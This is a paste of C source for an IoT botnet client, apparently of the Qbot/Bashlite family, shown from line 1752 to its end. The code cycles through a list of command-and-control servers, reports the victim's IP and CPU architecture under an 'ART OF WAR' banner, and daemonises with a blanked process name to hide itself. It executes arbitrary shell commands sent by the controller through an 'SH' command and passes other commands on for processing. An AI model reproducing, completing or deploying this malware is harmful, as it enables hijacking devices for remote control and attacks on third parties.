  1752. if(!strcmp(argv[0], "LOLNOGTFO"))
  1753. {
  1754. exit(0);
  1755. }
  1756. }
  1757.  
  1758. int initConnection()
  1759. {
  1760. unsigned char server[4096];
  1761. memset(server, 0, 4096);
  1762. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1763. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1764. else currentServer++;
  1765.  
  1766. strcpy(server, commServer[currentServer]);
  1767. int port = 23;
  1768. if(strchr(server, ':') != NULL)
  1769. {
  1770. port = atoi(strchr(server, ':') + 1);
  1771. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1772. }
  1773.  
  1774. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1775.  
  1776. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1777.  
  1778. return 0;
  1779. }
  1780.  
  1781. int getOurIP()
  1782. {
  1783. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1784. if(sock == -1) return 0;
  1785.  
  1786. struct sockaddr_in serv;
  1787. memset(&serv, 0, sizeof(serv));
  1788. serv.sin_family = AF_INET;
  1789. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1790. serv.sin_port = htons(53);
  1791.  
  1792. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1793. if(err == -1) return 0;
  1794.  
  1795. struct sockaddr_in name;
  1796. socklen_t namelen = sizeof(name);
  1797. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1798. if(err == -1) return 0;
  1799.  
  1800. ourIP.s_addr = name.sin_addr.s_addr;
  1801.  
  1802. int cmdline = open("/proc/net/route", O_RDONLY);
  1803. char linebuf[4096];
  1804. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1805. {
  1806. if(strstr(linebuf, "\t00000000\t") != NULL)
  1807. {
  1808. unsigned char *pos = linebuf;
  1809. while(*pos != '\t') pos++;
  1810. *pos = 0;
  1811. break;
  1812. }
  1813. memset(linebuf, 0, 4096);
  1814. }
  1815. close(cmdline);
  1816.  
  1817. if(*linebuf)
  1818. {
  1819. int i;
  1820. struct ifreq ifr;
  1821. strcpy(ifr.ifr_name, linebuf);
  1822. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1823. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1824. }
  1825.  
  1826. close(sock);
  1827. }
  1828.  
  1829. char *getBuild() {
  1830. #if defined(__x86_64__) || defined(_M_X64)
  1831. return "x86_64";
  1832. #elif defined(__i386) || defined(_M_IX86)
  1833. return "x86_32";
  1834. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  1835. return "ARM-4";
  1836. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  1837. return "ARM-5"
  1838. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  1839. return "ARM-6";
  1840. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  1841. return "MIPS";
  1842. #elif defined(__sh__)
  1843. return "SUPERH";
  1844. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  1845. return "POWERPC";
  1846. #else
  1847. return "UNKNOWN";
  1848. #endif
  1849. }
  1850.  
  1851. int main(int argc, unsigned char *argv[])
  1852. {
  1853. char *mynameis = "";
  1854. if(SERVER_LIST_SIZE <= 0) return 0;
  1855. printf("BUILD %s\n", getBuild());
  1856. strncpy(argv[0],"",strlen(argv[0]));
  1857. argv[0] = "";
  1858. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1859. srand(time(NULL) ^ getpid());
  1860. init_rand(time(NULL) ^ getpid());
  1861. pid_t pid1;
  1862. pid_t pid2;
  1863. int status;
  1864.  
  1865. getOurIP();
  1866.  
  1867. if (pid1 = fork()) {
  1868. waitpid(pid1, &status, 0);
  1869. exit(0);
  1870. } else if (!pid1) {
  1871. if (pid2 = fork()) {
  1872. exit(0);
  1873. } else if (!pid2) {
  1874. } else {
  1875. //zprintf("fork failed\n");
  1876. }
  1877. } else {
  1878. //zprintf("fork failed\n");
  1879. }
  1880.  
  1881. setsid();
  1882. chdir("/");
  1883.  
  1884. signal(SIGPIPE, SIG_IGN);
  1885.  
  1886. while(1)
  1887. {
  1888. if(initConnection()) { sleep(5); continue; }
  1889.  
  1890. sockprintf(mainCommSock, "ΩART OF WARΩ -> IP->∞[%s]∞ Arch->∞[%s]∞", inet_ntoa(ourIP), getBuild());
  1891.  
  1892. char commBuf[4096];
  1893. int got = 0;
  1894. int i = 0;
  1895. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1896. {
  1897. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1898. unsigned int *newpids, on;
  1899. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1900. pids[on - 1] = 0;
  1901. numpids--;
  1902. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1903. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1904. free(pids);
  1905. pids = newpids;
  1906. }
  1907.  
  1908. commBuf[got] = 0x00;
  1909.  
  1910. trim(commBuf);
  1911.  
  1912. if(strstr(commBuf, "PING") == commBuf)
  1913. {
  1914. sockprintf(mainCommSock, "PONG");
  1915. continue;
  1916. }
  1917.  
  1918. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1919.  
  1920. unsigned char *message = commBuf;
  1921.  
  1922. if(*message == '!')
  1923. {
  1924. unsigned char *nickMask = message + 1;
  1925. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1926. if(*nickMask == 0x00) continue;
  1927. *(nickMask) = 0x00;
  1928. nickMask = message + 1;
  1929.  
  1930. message = message + strlen(nickMask) + 2;
  1931. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1932.  
  1933. unsigned char *command = message;
  1934. while(*message != ' ' && *message != 0x00) message++;
  1935. *message = 0x00;
  1936. message++;
  1937.  
  1938. unsigned char *tmpcommand = command;
  1939. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1940.  
  1941. if(strcmp(command, "SH") == 0)
  1942. {
  1943. unsigned char buf[1024];
  1944. int command;
  1945. if (listFork()) continue;
  1946. memset(buf, 0, 1024);
  1947. szprintf(buf, "%s 2>&1", message);
  1948. command = fdpopen(buf, "r");
  1949. while(fdgets(buf, 1024, command) != NULL)
  1950. {
  1951. trim(buf);
  1952. // sockprintf(mainCommSock, "%s", buf);
  1953. memset(buf, 0, 1024);
  1954. sleep(1);
  1955. }
  1956. fdpclose(command);
  1957. exit(0);
  1958. }
  1959.  
  1960. unsigned char *params[10];
  1961. int paramsCount = 1;
  1962. unsigned char *pch = strtok(message, " ");
  1963. params[0] = command;
  1964.  
  1965. while(pch)
  1966. {
  1967. if(*pch != '\n')
  1968. {
  1969. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1970. memset(params[paramsCount], 0, strlen(pch) + 1);
  1971. strcpy(params[paramsCount], pch);
  1972. paramsCount++;
  1973. }
  1974. pch = strtok(NULL, " ");
  1975. }
  1976.  
  1977. processCmd(paramsCount, params);
  1978.  
  1979. if(paramsCount > 1)
  1980. {
  1981. int q = 1;
  1982. for(q = 1; q < paramsCount; q++)
  1983. {
  1984. free(params[q]);
  1985. }
  1986. }
  1987. }
  1988. }
  1989. //printf("Link closed by server.\n");
  1990. }
  1991.  
  1992. return 0;
  1993. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement